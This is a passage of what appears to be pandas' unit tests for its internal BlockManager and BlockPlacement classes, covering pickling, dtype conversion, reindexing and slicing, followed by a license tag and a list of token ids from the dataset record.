self.assertRaises(AssertionError, BlockManager, blocks, axes) blocks[0].mgr_locs = np.array([0]) blocks[1].mgr_locs = np.array([1]) mgr = BlockManager(blocks, axes) mgr.iget(1) def test_contains(self): self.assertIn('a', self.mgr) self.assertNotIn('baz', self.mgr) def test_pickle(self): mgr2 = self.round_trip_pickle(self.mgr) assert_frame_equal(DataFrame(self.mgr), DataFrame(mgr2)) # share ref_items # self.assertIs(mgr2.blocks[0].ref_items, mgr2.blocks[1].ref_items) # GH2431 self.assertTrue(hasattr(mgr2, "_is_consolidated")) self.assertTrue(hasattr(mgr2, "_known_consolidated")) # reset to False on load self.assertFalse(mgr2._is_consolidated) self.assertFalse(mgr2._known_consolidated) def test_non_unique_pickle(self): mgr = create_mgr('a,a,a:f8') mgr2 = self.round_trip_pickle(mgr) assert_frame_equal(DataFrame(mgr), DataFrame(mgr2)) mgr = create_mgr('a: f8; a: i8') mgr2 = self.round_trip_pickle(mgr) assert_frame_equal(DataFrame(mgr), DataFrame(mgr2)) def test_categorical_block_pickle(self): mgr = create_mgr('a: category') mgr2 = self.round_trip_pickle(mgr) assert_frame_equal(DataFrame(mgr), DataFrame(mgr2)) smgr = create_single_mgr('category') smgr2 = self.round_trip_pickle(smgr) assert_series_equal(Series(smgr), Series(smgr2)) def test_get_scalar(self): for item in self.mgr.items: for i, index in enumerate(self.mgr.axes[1]): res = self.mgr.get_scalar((item, index)) exp = self.mgr.get(item, fastpath=False)[i] assert_almost_equal(res, exp) exp = self.mgr.get(item).internal_values()[i] assert_almost_equal(res, exp) def test_get(self): cols = Index(list('abc')) values = np.random.rand(3, 3) block = make_block(values=values.copy(), placement=np.arange(3)) mgr = BlockManager(blocks=[block], axes=[cols, np.arange(3)]) assert_almost_equal(mgr.get('a', fastpath=False), values[0]) assert_almost_equal(mgr.get('b', fastpath=False), values[1]) assert_almost_equal(mgr.get('c', fastpath=False), values[2]) assert_almost_equal(mgr.get('a').internal_values(), values[0]) assert_almost_equal(mgr.get('b').internal_values(), values[1]) assert_almost_equal(mgr.get('c').internal_values(), values[2]) def test_set(self): mgr = create_mgr('a,b,c: int', item_shape=(3,)) mgr.set('d', np.array(['foo'] * 3)) mgr.set('b', np.array(['bar'] * 3)) assert_almost_equal(mgr.get('a').internal_values(), [0] * 3) assert_almost_equal(mgr.get('b').internal_values(), ['bar'] * 3) assert_almost_equal(mgr.get('c').internal_values(), [2] * 3) assert_almost_equal(mgr.get('d').internal_values(), ['foo'] * 3) def test_insert(self): self.mgr.insert(0, 'inserted', np.arange(N)) self.assertEqual(self.mgr.items[0], 'inserted') assert_almost_equal(self.mgr.get('inserted'), np.arange(N)) for blk in self.mgr.blocks: yield self.assertIs, self.mgr.items, blk.ref_items def test_set_change_dtype(self): self.mgr.set('baz', np.zeros(N, dtype=bool)) self.mgr.set('baz', np.repeat('foo', N)) self.assertEqual(self.mgr.get('baz').dtype, np.object_) mgr2 = self.mgr.consolidate() mgr2.set('baz', np.repeat('foo', N)) self.assertEqual(mgr2.get('baz').dtype, np.object_) mgr2.set('quux', randn(N).astype(int)) self.assertEqual(mgr2.get('quux').dtype, np.int_) mgr2.set('quux', randn(N)) self.assertEqual(mgr2.get('quux').dtype, np.float_) def test_set_change_dtype_slice(self): # GH8850 cols = MultiIndex.from_tuples([('1st','a'), ('2nd','b'), ('3rd','c')]) df = DataFrame([[1.0, 2, 3], [4.0, 5, 6]], columns=cols) df['2nd'] = df['2nd'] * 2.0 self.assertEqual(sorted(df.blocks.keys()), ['float64', 'int64']) assert_frame_equal(df.blocks['float64'], DataFrame([[1.0, 4.0], [4.0, 10.0]], columns=cols[:2])) assert_frame_equal(df.blocks['int64'], DataFrame([[3], [6]], columns=cols[2:])) def test_copy(self): shallow = self.mgr.copy(deep=False) # we don't guaranteee block ordering for blk in self.mgr.blocks: found = False for cp_blk in shallow.blocks: if cp_blk.values is blk.values: found = True break self.assertTrue(found) def test_sparse(self): mgr = create_mgr('a: sparse-1; b: sparse-2') # what to test here? self.assertEqual(mgr.as_matrix().dtype, np.float64) def test_sparse_mixed(self): mgr = create_mgr('a: sparse-1; b: sparse-2; c: f8') self.assertEqual(len(mgr.blocks), 3) self.assertIsInstance(mgr, BlockManager) # what to test here? def test_as_matrix_float(self): mgr = create_mgr('c: f4; d: f2; e: f8') self.assertEqual(mgr.as_matrix().dtype, np.float64) mgr = create_mgr('c: f4; d: f2') self.assertEqual(mgr.as_matrix().dtype, np.float32) def test_as_matrix_int_bool(self): mgr = create_mgr('a: bool-1; b: bool-2') self.assertEqual(mgr.as_matrix().dtype, np.bool_) mgr = create_mgr('a: i8-1; b: i8-2; c: i4; d: i2; e: u1') self.assertEqual(mgr.as_matrix().dtype, np.int64) mgr = create_mgr('c: i4; d: i2; e: u1') self.assertEqual(mgr.as_matrix().dtype, np.int32) def test_as_matrix_datetime(self): mgr = create_mgr('h: datetime-1; g: datetime-2') self.assertEqual(mgr.as_matrix().dtype, 'M8[ns]') def test_as_matrix_datetime_tz(self): mgr = create_mgr('h: M8[ns, US/Eastern]; g: M8[ns, CET]') self.assertEqual(mgr.get('h').dtype, 'datetime64[ns, US/Eastern]') self.assertEqual(mgr.get('g').dtype, 'datetime64[ns, CET]') self.assertEqual(mgr.as_matrix().dtype, 'object') def test_astype(self): # coerce all mgr = create_mgr('c: f4; d: f2; e: f8') for t in ['float16', 'float32', 'float64', 'int32', 'int64']: t = np.dtype(t) tmgr = mgr.astype(t) self.assertEqual(tmgr.get('c').dtype.type, t) self.assertEqual(tmgr.get('d').dtype.type, t) self.assertEqual(tmgr.get('e').dtype.type, t) # mixed mgr = create_mgr('a,b: object; c: bool; d: datetime;' 'e: f4; f: f2; g: f8') for t in ['float16', 'float32', 'float64', 'int32', 'int64']: t = np.dtype(t) tmgr = mgr.astype(t, raise_on_error=False) self.assertEqual(tmgr.get('c').dtype.type, t) self.assertEqual(tmgr.get('e').dtype.type, t) self.assertEqual(tmgr.get('f').dtype.type, t) self.assertEqual(tmgr.get('g').dtype.type, t) self.assertEqual(tmgr.get('a').dtype.type, np.object_) self.assertEqual(tmgr.get('b').dtype.type, np.object_) if t != np.int64: self.assertEqual(tmgr.get('d').dtype.type, np.datetime64) else: self.assertEqual(tmgr.get('d').dtype.type, t) def test_convert(self): def _compare(old_mgr, new_mgr): """ compare the blocks, numeric compare ==, object don't """ old_blocks = set(old_mgr.blocks) new_blocks = set(new_mgr.blocks) self.assertEqual(len(old_blocks), len(new_blocks)) # compare non-numeric for b in old_blocks: found = False for nb in new_blocks: if (b.values == nb.values).all(): found = True break self.assertTrue(found) for b in new_blocks: found = False for ob in old_blocks: if (b.values == ob.values).all(): found = True break self.assertTrue(found) # noops mgr = create_mgr('f: i8; g: f8') new_mgr = mgr.convert() _compare(mgr,new_mgr) mgr = create_mgr('a, b: object; f: i8; g: f8') new_mgr = mgr.convert() _compare(mgr,new_mgr) # convert mgr = create_mgr('a,b,foo: object; f: i8; g: f8') mgr.set('a', np.array(['1'] * N, dtype=np.object_)) mgr.set('b', np.array(['2.'] * N, dtype=np.object_)) mgr.set('foo', np.array(['foo.'] * N, dtype=np.object_)) new_mgr = mgr.convert(numeric=True) self.assertEqual(new_mgr.get('a').dtype, np.int64) self.assertEqual(new_mgr.get('b').dtype, np.float64) self.assertEqual(new_mgr.get('foo').dtype, np.object_) self.assertEqual(new_mgr.get('f').dtype, np.int64) self.assertEqual(new_mgr.get('g').dtype, np.float64) mgr = create_mgr('a,b,foo: object; f: i4; bool: bool; dt: datetime;' 'i: i8; g: f8; h: f2') mgr.set('a', np.array(['1'] * N, dtype=np.object_)) mgr.set('b', np.array(['2.'] * N, dtype=np.object_)) mgr.set('foo', np.array(['foo.'] * N, dtype=np.object_)) new_mgr = mgr.convert(numeric=True) self.assertEqual(new_mgr.get('a').dtype, np.int64) self.assertEqual(new_mgr.get('b').dtype, np.float64) self.assertEqual(new_mgr.get('foo').dtype, np.object_) self.assertEqual(new_mgr.get('f').dtype, np.int32) self.assertEqual(new_mgr.get('bool').dtype, np.bool_) self.assertEqual(new_mgr.get('dt').dtype.type, np.datetime64) self.assertEqual(new_mgr.get('i').dtype, np.int64) self.assertEqual(new_mgr.get('g').dtype, np.float64) self.assertEqual(new_mgr.get('h').dtype, np.float16) def test_interleave(self): # self for dtype in ['f8','i8','object','bool','complex','M8[ns]','m8[ns]']: mgr = create_mgr('a: {0}'.format(dtype)) self.assertEqual(mgr.as_matrix().dtype,dtype) mgr = create_mgr('a: {0}; b: {0}'.format(dtype)) self.assertEqual(mgr.as_matrix().dtype,dtype) # will be converted according the actual dtype of the underlying mgr = create_mgr('a: category') self.assertEqual(mgr.as_matrix().dtype,'i8') mgr = create_mgr('a: category; b: category') self.assertEqual(mgr.as_matrix().dtype,'i8'), mgr = create_mgr('a: category; b: category2') self.assertEqual(mgr.as_matrix().dtype,'object') mgr = create_mgr('a: category2') self.assertEqual(mgr.as_matrix().dtype,'object') mgr = create_mgr('a: category2; b: category2') self.assertEqual(mgr.as_matrix().dtype,'object') # combinations mgr = create_mgr('a: f8') self.assertEqual(mgr.as_matrix().dtype,'f8') mgr = create_mgr('a: f8; b: i8') self.assertEqual(mgr.as_matrix().dtype,'f8') mgr = create_mgr('a: f4; b: i8') self.assertEqual(mgr.as_matrix().dtype,'f4') mgr = create_mgr('a: f4; b: i8; d: object') self.assertEqual(mgr.as_matrix().dtype,'object') mgr = create_mgr('a: bool; b: i8') self.assertEqual(mgr.as_matrix().dtype,'object') mgr = create_mgr('a: complex') self.assertEqual(mgr.as_matrix().dtype,'complex') mgr = create_mgr('a: f8; b: category') self.assertEqual(mgr.as_matrix().dtype,'object') mgr = create_mgr('a: M8[ns]; b: category') self.assertEqual(mgr.as_matrix().dtype,'object') mgr = create_mgr('a: M8[ns]; b: bool') self.assertEqual(mgr.as_matrix().dtype,'object') mgr = create_mgr('a: M8[ns]; b: i8') self.assertEqual(mgr.as_matrix().dtype,'object') mgr = create_mgr('a: m8[ns]; b: bool') self.assertEqual(mgr.as_matrix().dtype,'object') mgr = create_mgr('a: m8[ns]; b: i8') self.assertEqual(mgr.as_matrix().dtype,'object') mgr = create_mgr('a: M8[ns]; b: m8[ns]') self.assertEqual(mgr.as_matrix().dtype,'object') def test_interleave_non_unique_cols(self): df = DataFrame([ [pd.Timestamp('20130101'), 3.5], [pd.Timestamp('20130102'), 4.5]], columns=['x', 'x'], index=[1, 2]) df_unique = df.copy() df_unique.columns = ['x', 'y'] self.assertEqual(df_unique.values.shape, df.values.shape) tm.assert_numpy_array_equal(df_unique.values[0], df.values[0]) tm.assert_numpy_array_equal(df_unique.values[1], df.values[1]) def test_consolidate(self): pass def test_consolidate_ordering_issues(self): self.mgr.set('f', randn(N)) self.mgr.set('d', randn(N)) self.mgr.set('b', randn(N)) self.mgr.set('g', randn(N)) self.mgr.set('h', randn(N)) cons = self.mgr.consolidate() self.assertEqual(cons.nblocks, 1) assert_almost_equal(cons.blocks[0].mgr_locs, np.arange(len(cons.items))) def test_reindex_index(self): pass def test_reindex_items(self): # mgr is not consolidated, f8 & f8-2 blocks mgr = create_mgr('a: f8; b: i8; c: f8; d: i8; e: f8;' 'f: bool; g: f8-2') reindexed = mgr.reindex_axis(['g', 'c', 'a', 'd'], axis=0) self.assertEqual(reindexed.nblocks, 2) assert_almost_equal(reindexed.items, ['g', 'c', 'a', 'd']) assert_almost_equal(mgr.get('g',fastpath=False), reindexed.get('g',fastpath=False)) assert_almost_equal(mgr.get('c',fastpath=False), reindexed.get('c',fastpath=False)) assert_almost_equal(mgr.get('a',fastpath=False), reindexed.get('a',fastpath=False)) assert_almost_equal(mgr.get('d',fastpath=False), reindexed.get('d',fastpath=False)) assert_almost_equal(mgr.get('g').internal_values(), reindexed.get('g').internal_values()) assert_almost_equal(mgr.get('c').internal_values(), reindexed.get('c').internal_values()) assert_almost_equal(mgr.get('a').internal_values(), reindexed.get('a').internal_values()) assert_almost_equal(mgr.get('d').internal_values(), reindexed.get('d').internal_values()) def test_multiindex_xs(self): mgr = create_mgr('a,b,c: f8; d,e,f: i8') index = MultiIndex(levels=[['foo', 'bar', 'baz', 'qux'], ['one', 'two', 'three']], labels=[[0, 0, 0, 1, 1, 2, 2, 3, 3, 3], [0, 1, 2, 0, 1, 1, 2, 0, 1, 2]], names=['first', 'second']) mgr.set_axis(1, index) result = mgr.xs('bar', axis=1) self.assertEqual(result.shape, (6, 2)) self.assertEqual(result.axes[1][0], ('bar', 'one')) self.assertEqual(result.axes[1][1], ('bar', 'two')) def test_get_numeric_data(self): mgr = create_mgr('int: int; float: float; complex: complex;' 'str: object; bool: bool; obj: object; dt: datetime', item_shape=(3,)) mgr.set('obj', np.array([1, 2, 3], dtype=np.object_)) numeric = mgr.get_numeric_data() assert_almost_equal(numeric.items, ['int', 'float', 'complex', 'bool']) assert_almost_equal(mgr.get('float',fastpath=False), numeric.get('float',fastpath=False)) assert_almost_equal(mgr.get('float').internal_values(), numeric.get('float').internal_values()) # Check sharing numeric.set('float', np.array([100., 200., 300.])) assert_almost_equal(mgr.get('float',fastpath=False), np.array([100., 200., 300.])) assert_almost_equal(mgr.get('float').internal_values(), np.array([100., 200., 300.])) numeric2 = mgr.get_numeric_data(copy=True) assert_almost_equal(numeric.items, ['int', 'float', 'complex', 'bool']) numeric2.set('float', np.array([1000., 2000., 3000.])) assert_almost_equal(mgr.get('float',fastpath=False), np.array([100., 200., 300.])) assert_almost_equal(mgr.get('float').internal_values(), np.array([100., 200., 300.])) def test_get_bool_data(self): mgr = create_mgr('int: int; float: float; complex: complex;' 'str: object; bool: bool; obj: object; dt: datetime', item_shape=(3,)) mgr.set('obj', np.array([True, False, True], dtype=np.object_)) bools = mgr.get_bool_data() assert_almost_equal(bools.items, ['bool']) assert_almost_equal(mgr.get('bool',fastpath=False), bools.get('bool',fastpath=False)) assert_almost_equal(mgr.get('bool').internal_values(), bools.get('bool').internal_values()) bools.set('bool', np.array([True, False, True])) assert_almost_equal(mgr.get('bool',fastpath=False), [True, False, True]) assert_almost_equal(mgr.get('bool').internal_values(), [True, False, True]) # Check sharing bools2 = mgr.get_bool_data(copy=True) bools2.set('bool', np.array([False, True, False])) assert_almost_equal(mgr.get('bool',fastpath=False), [True, False, True]) assert_almost_equal(mgr.get('bool').internal_values(), [True, False, True]) def test_unicode_repr_doesnt_raise(self): str_repr = repr(create_mgr(u('b,\u05d0: object'))) def test_missing_unicode_key(self): df = DataFrame({"a": [1]}) try: df.ix[:, u("\u05d0")] # should not raise UnicodeEncodeError except KeyError: pass # this is the expected exception def test_equals(self): # unique items bm1 = create_mgr('a,b,c: i8-1; d,e,f: i8-2') bm2 = BlockManager(bm1.blocks[::-1], bm1.axes) self.assertTrue(bm1.equals(bm2)) bm1 = create_mgr('a,a,a: i8-1; b,b,b: i8-2') bm2 = BlockManager(bm1.blocks[::-1], bm1.axes) self.assertTrue(bm1.equals(bm2)) def test_equals_block_order_different_dtypes(self): # GH 9330 mgr_strings = [ "a:i8;b:f8", # basic case "a:i8;b:f8;c:c8;d:b", # many types "a:i8;e:dt;f:td;g:string", # more types "a:i8;b:category;c:category2;d:category2", # categories "c:sparse;d:sparse_na;b:f8", # sparse ] for mgr_string in mgr_strings: bm = create_mgr(mgr_string) block_perms = itertools.permutations(bm.blocks) for bm_perm in block_perms: bm_this = BlockManager(bm_perm, bm.axes) self.assertTrue(bm.equals(bm_this)) self.assertTrue(bm_this.equals(bm)) def test_single_mgr_ctor(self): mgr = create_single_mgr('f8', num_rows=5) self.assertEqual(mgr.as_matrix().tolist(), [0., 1., 2., 3., 4.]) class TestIndexing(object): # Nosetests-style data-driven tests. # # This test applies different indexing routines to block managers and # compares the outcome to the result of same operations on np.ndarray. # # NOTE: sparse (SparseBlock with fill_value != np.nan) fail a lot of tests # and are disabled. MANAGERS = [ create_single_mgr('f8', N), create_single_mgr('i8', N), #create_single_mgr('sparse', N), create_single_mgr('sparse_na', N), # 2-dim create_mgr('a,b,c,d,e,f: f8', item_shape=(N,)), create_mgr('a,b,c,d,e,f: i8', item_shape=(N,)), create_mgr('a,b: f8; c,d: i8; e,f: string', item_shape=(N,)), create_mgr('a,b: f8; c,d: i8; e,f: f8', item_shape=(N,)), #create_mgr('a: sparse', item_shape=(N,)), create_mgr('a: sparse_na', item_shape=(N,)), # 3-dim create_mgr('a,b,c,d,e,f: f8', item_shape=(N, N)), create_mgr('a,b,c,d,e,f: i8', item_shape=(N, N)), create_mgr('a,b: f8; c,d: i8; e,f: string', item_shape=(N, N)), create_mgr('a,b: f8; c,d: i8; e,f: f8', item_shape=(N, N)), # create_mgr('a: sparse', item_shape=(1, N)), ] # MANAGERS = [MANAGERS[6]] def test_get_slice(self): def assert_slice_ok(mgr, axis, slobj): # import pudb; pudb.set_trace() mat = mgr.as_matrix() # we maybe using an ndarray to test slicing and # might not be the full length of the axis if isinstance(slobj, np.ndarray): ax = mgr.axes[axis] if len(ax) and len(slobj) and len(slobj) != len(ax): slobj = np.concatenate([slobj, np.zeros(len(ax)-len(slobj),dtype=bool)]) sliced = mgr.get_slice(slobj, axis=axis) mat_slobj = (slice(None),) * axis + (slobj,) assert_almost_equal(mat[mat_slobj], sliced.as_matrix()) assert_almost_equal(mgr.axes[axis][slobj], sliced.axes[axis]) for mgr in self.MANAGERS: for ax in range(mgr.ndim): # slice yield assert_slice_ok, mgr, ax, slice(None) yield assert_slice_ok, mgr, ax, slice(3) yield assert_slice_ok, mgr, ax, slice(100) yield assert_slice_ok, mgr, ax, slice(1, 4) yield assert_slice_ok, mgr, ax, slice(3, 0, -2) # boolean mask yield assert_slice_ok, mgr, ax, np.array([], dtype=np.bool_) yield (assert_slice_ok, mgr, ax, np.ones(mgr.shape[ax], dtype=np.bool_)) yield (assert_slice_ok, mgr, ax, np.zeros(mgr.shape[ax], dtype=np.bool_)) if mgr.shape[ax] >= 3: yield (assert_slice_ok, mgr, ax, np.arange(mgr.shape[ax]) % 3 == 0) yield (assert_slice_ok, mgr, ax, np.array([True, True, False], dtype=np.bool_)) # fancy indexer yield assert_slice_ok, mgr, ax, [] yield assert_slice_ok, mgr, ax, lrange(mgr.shape[ax]) if mgr.shape[ax] >= 3: yield assert_slice_ok, mgr, ax, [0, 1, 2] yield assert_slice_ok, mgr, ax, [-1, -2, -3] def test_take(self): def assert_take_ok(mgr, axis, indexer): mat = mgr.as_matrix() taken = mgr.take(indexer, axis) assert_almost_equal(np.take(mat, indexer, axis), taken.as_matrix()) assert_almost_equal(mgr.axes[axis].take(indexer), taken.axes[axis]) for mgr in self.MANAGERS: for ax in range(mgr.ndim): # take/fancy indexer yield assert_take_ok, mgr, ax, [] yield assert_take_ok, mgr, ax, [0, 0, 0] yield assert_take_ok, mgr, ax, lrange(mgr.shape[ax]) if mgr.shape[ax] >= 3: yield assert_take_ok, mgr, ax, [0, 1, 2] yield assert_take_ok, mgr, ax, [-1, -2, -3] def test_reindex_axis(self): def assert_reindex_axis_is_ok(mgr, axis, new_labels, fill_value): mat = mgr.as_matrix() indexer = mgr.axes[axis].get_indexer_for(new_labels) reindexed = mgr.reindex_axis(new_labels, axis, fill_value=fill_value) assert_almost_equal(com.take_nd(mat, indexer, axis, fill_value=fill_value), reindexed.as_matrix()) assert_almost_equal(reindexed.axes[axis], new_labels) for mgr in self.MANAGERS: for ax in range(mgr.ndim): for fill_value in (None, np.nan, 100.): yield assert_reindex_axis_is_ok, mgr, ax, [], fill_value yield (assert_reindex_axis_is_ok, mgr, ax, mgr.axes[ax], fill_value) yield (assert_reindex_axis_is_ok, mgr, ax, mgr.axes[ax][[0, 0, 0]], fill_value) yield (assert_reindex_axis_is_ok, mgr, ax, ['foo', 'bar', 'baz'], fill_value) yield (assert_reindex_axis_is_ok, mgr, ax, ['foo', mgr.axes[ax][0], 'baz'], fill_value) if mgr.shape[ax] >= 3: yield (assert_reindex_axis_is_ok, mgr, ax, mgr.axes[ax][:-3], fill_value) yield (assert_reindex_axis_is_ok, mgr, ax, mgr.axes[ax][-3::-1], fill_value) yield (assert_reindex_axis_is_ok, mgr, ax, mgr.axes[ax][[0, 1, 2, 0, 1, 2]], fill_value) def test_reindex_indexer(self): def assert_reindex_indexer_is_ok(mgr, axis, new_labels, indexer, fill_value): mat = mgr.as_matrix() reindexed_mat = com.take_nd(mat, indexer, axis, fill_value=fill_value) reindexed = mgr.reindex_indexer(new_labels, indexer, axis, fill_value=fill_value) assert_almost_equal(reindexed_mat, reindexed.as_matrix()) assert_almost_equal(reindexed.axes[axis], new_labels) for mgr in self.MANAGERS: for ax in range(mgr.ndim): for fill_value in (None, np.nan, 100.): yield (assert_reindex_indexer_is_ok, mgr, ax, [], [], fill_value) yield (assert_reindex_indexer_is_ok, mgr, ax, mgr.axes[ax], np.arange(mgr.shape[ax]), fill_value) yield (assert_reindex_indexer_is_ok, mgr, ax, ['foo'] * mgr.shape[ax], np.arange(mgr.shape[ax]), fill_value) yield (assert_reindex_indexer_is_ok, mgr, ax, mgr.axes[ax][::-1], np.arange(mgr.shape[ax]), fill_value) yield (assert_reindex_indexer_is_ok, mgr, ax, mgr.axes[ax], np.arange(mgr.shape[ax])[::-1], fill_value) yield (assert_reindex_indexer_is_ok, mgr, ax, ['foo', 'bar', 'baz'], [0, 0, 0], fill_value) yield (assert_reindex_indexer_is_ok, mgr, ax, ['foo', 'bar', 'baz'], [-1, 0, -1], fill_value) yield (assert_reindex_indexer_is_ok, mgr, ax, ['foo', mgr.axes[ax][0], 'baz'], [-1, -1, -1], fill_value) if mgr.shape[ax] >= 3: yield (assert_reindex_indexer_is_ok, mgr, ax, ['foo', 'bar', 'baz'], [0, 1, 2], fill_value) # test_get_slice(slice_like, axis) # take(indexer, axis) # reindex_axis(new_labels, axis) # reindex_indexer(new_labels, indexer, axis) class TestBlockPlacement(tm.TestCase): _multiprocess_can_split_ = True def test_slice_len(self): self.assertEqual(len(BlockPlacement(slice(0, 4))), 4) self.assertEqual(len(BlockPlacement(slice(0, 4, 2))), 2) self.assertEqual(len(BlockPlacement(slice(0, 3, 2))), 2) self.assertEqual(len(BlockPlacement(slice(0, 1, 2))), 1) self.assertEqual(len(BlockPlacement(slice(1, 0, -1))), 1) def test_zero_step_raises(self): self.assertRaises(ValueError, BlockPlacement, slice(1, 1, 0)) self.assertRaises(ValueError, BlockPlacement, slice(1, 2, 0)) def test_unbounded_slice_raises(self): def assert_unbounded_slice_error(slc): # assertRaisesRegexp is not available in py2.6 # self.assertRaisesRegexp(ValueError, "unbounded slice", # lambda: BlockPlacement(slc)) self.assertRaises(ValueError, BlockPlacement, slc) assert_unbounded_slice_error(slice(None, None)) assert_unbounded_slice_error(slice(10, None)) assert_unbounded_slice_error(slice(None, None, -1)) assert_unbounded_slice_error(slice(None, 10, -1)) # These are "unbounded" because negative index will change depending on # container shape. assert_unbounded_slice_error(slice(-1, None)) assert_unbounded_slice_error(slice(None, -1)) assert_unbounded_slice_error(slice(-1, -1)) assert_unbounded_slice_error(slice(-1, None, -1)) assert_unbounded_slice_error(slice(None, -1, -1)) assert_unbounded_slice_error(slice(-1, -1, -1)) def test_not_slice_like_slices(self): def assert_not_slice_like(slc): self.assertTrue(not BlockPlacement(slc).is_slice_like) assert_not_slice_like(slice(0, 0)) assert_not_slice_like(slice(100, 0)) assert_not_slice_like(slice(100, 100, -1)) assert_not_slice_like(slice(0, 100, -1)) self.assertTrue(not BlockPlacement(slice(0, 0)).is_slice_like) self.assertTrue(not BlockPlacement(slice(100, 100)).is_slice_like) def test_array_to_slice_conversion(self): def assert_as_slice_equals(arr, slc): self.assertEqual(BlockPlacement(arr).as_slice, slc) assert_as_slice_equals([0], slice(0, 1, 1)) assert_as_slice_equals([100], slice(100, 101, 1)) assert_as_slice_equals([0, 1, 2], slice(0, 3, 1)) assert_as_slice_equals([0, 5, 10], slice(0, 15, 5)) assert_as_slice_equals([0, 100], slice(0, 200, 100)) assert_as_slice_equals([2, 1], slice(2, 0, -1)) assert_as_slice_equals([2, 1, 0], slice(2, None, -1)) assert_as_slice_equals([100, 0], slice(100, None, -100)) def test_not_slice_like_arrays(self): def assert_not_slice_like(arr): self.assertTrue(not BlockPlacement(arr).is_slice_like) assert_not_slice_like([]) assert_not_slice_like([-1]) assert_not_slice_like([-1, -2, -3]) assert_not_slice_like([-10]) assert_not_slice_like([-1]) assert_not_slice_like([-1, 0, 1, 2]) assert_not_slice_like([-2, 0, 2, 4]) assert_not_slice_like([1, 0, -1]) assert_not_slice_like([1, 1, 1]) def test_slice_iter(self): self.assertEqual(list(BlockPlacement(slice(0, 3))), [0, 1, 2]) self.assertEqual(list(BlockPlacement(slice(0, 0))), []) self.assertEqual(list(BlockPlacement(slice(3, 0))), []) self.assertEqual(list(BlockPlacement(slice(3, 0, -1))), [3, 2, 1]) self.assertEqual(list(BlockPlacement(slice(3, None, -1))), [3, 2, 1, 0]) def test_slice_to_array_conversion(self): def assert_as_array_equals(slc, asarray): tm.assert_numpy_array_equal( BlockPlacement(slc).as_array, np.asarray(asarray)) assert_as_array_equals(slice(0, 3), [0, 1, 2]) assert_as_array_equals(slice(0, 0), []) assert_as_array_equals(slice(3, 0), []) assert_as_array_equals(slice(3, 0, -1), [3, 2, 1]) assert_as_array_equals(slice(3, None, -1), [3, 2, 1, 0]) assert_as_array_equals(slice(31, None, -10), [31, 21, 11, 1]) def test_blockplacement_add(self): bpl = BlockPlacement(slice(0, 5)) self.assertEqual(bpl.add(1).as_slice, slice(1, 6, 1)) self.assertEqual(bpl.add(np.arange(5)).as_slice, slice(0, 10, 2)) self.assertEqual(list(bpl.add(np.arange(5, 0, -1))), [5, 5, 5, 5, 5]) def test_blockplacement_add_int(self): def assert_add_equals(val, inc, result): self.assertEqual(list(BlockPlacement(val).add(inc)), result) assert_add_equals(slice(0, 0), 0, []) assert_add_equals(slice(1, 4), 0, [1, 2, 3]) assert_add_equals(slice(3, 0, -1), 0, [3, 2, 1]) assert_add_equals(slice(2, None, -1), 0, [2, 1, 0]) assert_add_equals([1, 2, 4], 0, [1, 2, 4]) assert_add_equals(slice(0, 0), 10, []) assert_add_equals(slice(1, 4), 10, [11, 12, 13]) assert_add_equals(slice(3, 0, -1), 10, [13, 12, 11]) assert_add_equals(slice(2, None, -1), 10, [12, 11, 10]) assert_add_equals([1, 2, 4], 10, [11, 12, 14]) assert_add_equals(slice(0, 0), -1, []) assert_add_equals(slice(1, 4), -1, [0, 1, 2]) assert_add_equals(slice(3, 0, -1), -1, [2, 1, 0]) assert_add_equals([1, 2, 4], -1, [0, 1, 3]) self.assertRaises(ValueError, lambda: BlockPlacement(slice(1, 4)).add(-10)) self.assertRaises(ValueError, lambda: BlockPlacement([1, 2, 4]).add(-10)) self.assertRaises(ValueError, lambda: BlockPlacement(slice(2, None, -1)).add(-1)) # def test_blockplacement_array_add(self): # assert_add_equals(slice(0, 2), [0, 1, 1], [0, 2, 3]) # assert_add_equals(slice(2, None, -1), [1, 1, 0], [3, 2, 0]) if __name__ == '__main__': import nose nose.runmodule(argv=[__file__, '-vvs', '-x', '--pdb', '--pdb-failure'], exit=False)
mit
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 4287, 26, 3507, 29, 55, 31715, 199, 199, 504, 2197, 492, 2197, 12, 1434, 199, 199, 646, 11354, 199, 646, 2680, 465, 980, 199, 199, 646, 295, 199, 646, 7975, 199, 504, 10634, 492, 5499, 12, 6879, 2681, 12, 10071, 12, 29825, 2681, 12, 12403, 12, 31227, 199, 504, 10634, 14, 5819, 492, 8773, 12, 634, 1842, 199, 504, 10634, 14, 4421, 14, 1144, 492, 14531, 3836, 199, 504, 10634, 14, 1018, 14, 4404, 2551, 492, 334, 3142, 32360, 12, 13050, 3142, 2988, 12, 1852, 63, 1457, 12, 3521, 8651, 2988, 9, 199, 646, 10634, 14, 1018, 14, 2330, 465, 2414, 199, 646, 10634, 14, 1018, 14, 4404, 2551, 465, 5007, 83, 199, 646, 10634, 14, 1974, 14, 4776, 465, 7352, 199, 646, 10634, 465, 6454, 199, 504, 10634, 14, 1974, 14, 4776, 492, 334, 272, 702, 63, 4398, 63, 1452, 12, 702, 63, 1943, 63, 1452, 12, 10261, 78, 12, 702, 63, 5602, 63, 1452, 9, 199, 504, 10634, 14, 5819, 492, 3482, 12, 399, 421, 199, 318, 702, 63, 1457, 63, 1452, 8, 3039, 12, 2451, 304, 272, 702, 63, 4398, 63, 1452, 8, 3039, 14, 1459, 12, 2451, 14, 1459, 9, 272, 702, 8, 3039, 14, 2271, 508, 2451, 14, 2271, 9, 272, 702, 63, 4398, 63, 1452, 8, 3039, 14, 7755, 63, 15781, 12, 2451, 14, 7755, 63, 15781, 9, 421, 199, 318, 664, 63, 6677, 63, 569, 8, 1392, 304, 272, 7953, 275, 980, 14, 5605, 8, 1392, 59, 16, 566, 272, 372, 980, 14, 773, 14, 12318, 63, 599, 5618, 14, 305, 63, 816, 770, 8, 267, 671, 29, 5250, 12, 2215, 29, 1392, 12, 267, 11883, 2687, 5250, 14, 21210, 4258, 435, 334, 16, 4258, 627, 334, 552, 8, 1392, 9, 446, 413, 4992, 1574, 342, 421, 199, 46, 275, 1616, 421, 199, 318, 1218, 63, 1457, 8, 466, 495, 12, 22286, 12, 1242, 63, 1392, 29, 403, 12, 1967, 63, 2743, 29, 16, 304, 272, 408, 272, 26167, 730, 495, 26, 398, 627, 2069, 12, 289, 24, 12, 289, 20, 12, 289, 18, 267, 627, 1109, 12, 284, 24, 12, 284, 20, 12, 284, 18, 12, 284, 17, 267, 627, 3152, 12, 399, 24, 12, 399, 20, 12, 399, 18, 12, 399, 17, 267, 627, 6114, 12, 286, 975, 12, 286, 24, 267, 627, 2155, 267, 627, 909, 12, 1059, 12, 593, 